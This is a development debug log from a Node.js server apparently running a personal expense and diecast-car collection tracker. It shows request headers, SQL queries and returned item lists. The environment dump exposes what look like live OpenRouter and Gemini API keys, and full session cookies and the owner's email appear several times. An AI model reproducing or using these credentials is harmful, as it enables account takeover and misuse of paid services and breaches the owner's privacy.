    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:00:18.492Z server-connect:router Serving templateView /diecast
2026-02-04T07:00:18.492Z server-connect:app Executing action step identify
2026-02-04T07:00:18.492Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:18.493Z server-connect:output identity: 1
2026-02-04T07:00:18.493Z server-connect:app Executing action step restrict
2026-02-04T07:00:18.493Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:00:18.493Z server-connect:output restrict: undefined
2026-02-04T07:00:18.493Z server-connect:router Render template layouts/main
2026-02-04T07:00:18.493Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    condition: '',
    manufacturer: '72',
    search: '',
    series: '',
    brand: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=&manufacturer=72&search=&series=&brand=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:00:19.328Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:00:19.332Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:00:19.332Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:00:19.333Z server-connect:app Executing action step identify
2026-02-04T07:00:19.333Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.333Z server-connect:output identity: 1
2026-02-04T07:00:19.333Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.333Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:19.334Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:00:19.334Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:00:19.334Z server-connect:app Executing action step identify
2026-02-04T07:00:19.334Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.335Z server-connect:output identity: 1
2026-02-04T07:00:19.335Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.335Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:19.335Z server-connect:output restrict: undefined
2026-02-04T07:00:19.335Z server-connect:app Executing action step select
2026-02-04T07:00:19.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:00:19.335Z server-connect:app Executing action step identify
2026-02-04T07:00:19.335Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.336Z server-connect:output identity: 1
2026-02-04T07:00:19.336Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.336Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:19.336Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:00:19.336Z server-connect:app Executing action step identify
2026-02-04T07:00:19.336Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.336Z server-connect:output identity: 1
2026-02-04T07:00:19.336Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.336Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:19.336Z server-connect:app Executing action step identify
2026-02-04T07:00:19.336Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.336Z server-connect:output identity: 1
2026-02-04T07:00:19.336Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.336Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:19.337Z server-connect:output restrict: undefined
2026-02-04T07:00:19.337Z server-connect:app Executing action step single
2026-02-04T07:00:19.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:00:19.337Z server-connect:app Executing action step identify
2026-02-04T07:00:19.337Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.337Z server-connect:output identity: 1
2026-02-04T07:00:19.338Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.338Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:19.341Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:00:19.342Z server-connect:output restrict: undefined
2026-02-04T07:00:19.342Z server-connect:app Executing action step select
2026-02-04T07:00:19.342Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:00:19.342Z server-connect:output restrict: undefined
2026-02-04T07:00:19.342Z server-connect:app Executing action step select
2026-02-04T07:00:19.342Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:00:19.343Z server-connect:output restrict: undefined
2026-02-04T07:00:19.343Z server-connect:app Executing action step paged
2026-02-04T07:00:19.343Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:00:19.344Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:00:19.344Z server-connect:output restrict: undefined
2026-02-04T07:00:19.344Z server-connect:app Executing action step select
2026-02-04T07:00:19.344Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:00:19.345Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:00:19.346Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:00:19.348Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
